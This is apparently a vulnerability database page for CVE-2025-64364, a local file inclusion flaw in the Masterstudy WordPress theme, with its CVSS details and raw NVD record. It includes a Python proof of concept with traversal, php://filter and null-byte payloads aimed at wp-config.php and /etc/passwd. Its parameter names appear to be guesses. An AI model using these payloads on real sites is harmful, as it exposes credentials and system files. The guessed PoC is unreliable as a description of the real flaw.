Security Vulnerability Report
中文
CVE-2025-64364 CVSS 7.5 HIGH

CVE-2025-64364

Published: 2025-10-31 12:15:37
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Masterstudy masterstudy allows PHP Local File Inclusion.This issue affects Masterstudy: from n/a through < 4.8.126.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Masterstudy主题 < 4.8.126

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64364 Local File Inclusion PoC # Affected: Masterstudy Theme < 4.8.126 # Type: Local File Inclusion (LFI) import requests from urllib.parse import quote target = "http://target-site.com/" # Common vulnerable parameters in Masterstudy theme vulnerable_params = [ "stm_lms_template", "page_template", "view_type", "course_id" ] # Files to read (sensitive) files_to_read = [ "../../../../wp-config.php", "../../../../../etc/passwd", "php://filter/convert.base64-encode/resource=wp-config.php" ] def test_lfi(url, param, payload): """Test for LFI vulnerability""" try: params = {param: payload} response = requests.get(url, params=params, timeout=10) return response.text except Exception as e: return f"Error: {e}" # Example exploitation payload = "../../../../wp-config.php" + "\x00" test_url = target + "wp-content/themes/masterstudy/" print(f"[*] Testing LFI on {test_url}") print(f"[*] Payload: {payload}") result = test_lfi(test_url, vulnerable_params[0], payload) print(f"[+] Response length: {len(result)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64364", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.983", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Masterstudy masterstudy allows PHP Local File Inclusion.This issue affects Masterstudy: from n/a through < 4.8.126."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP, vulnerabilidad ('Inclusión Remota de Ficheros PHP') en StylemixThemes Masterstudy masterstudy permite inclusión local de ficheros PHP. Este problema afecta a Masterstudy: desde n/a hasta &lt; 4.8.126."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/masterstudy/vulnerability/wordpress-masterstudy-theme-4-8-126-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}